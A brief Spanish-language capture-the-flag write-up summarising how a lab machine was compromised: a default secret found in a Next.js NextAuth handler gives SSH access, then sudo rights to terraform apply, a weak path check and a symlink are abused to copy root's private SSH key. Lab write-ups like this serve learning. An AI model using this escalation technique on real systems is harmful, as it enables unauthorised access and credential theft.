La pieza clave fue extraer el handler de autenticación de NextAuth en .next/server/pages/api/auth/[…nextauth].js. Ahí se encontró un provider de credenciales que validaba el usuario jeremy y usaba un secreto por defecto (MyNameIsJeremyAndILovePancakes) cuando no existía ADMIN_SECRET, lo que nos dio acceso por SSH como jeremy y permitió obtener la user flag.

Para la escalada a root, sudo -l reveló que jeremy podía ejecutar terraform apply como root en /opt/examples. Ese proyecto usaba un provider personalizado que copia archivos desde un source_path hacia un directorio accesible, y la validación del input era débil (solo revisaba que el string contuviera /root/examples/). Abusando de TF_VAR_source_path y un symlink, forzamos a Terraform (ejecutando como root) a copiar la clave SSH privada de root al directorio público, y con eso logramos autenticarnos como root por SSH.

Happy hacking :)

This post is licensed under CC BY 4.0 by the author.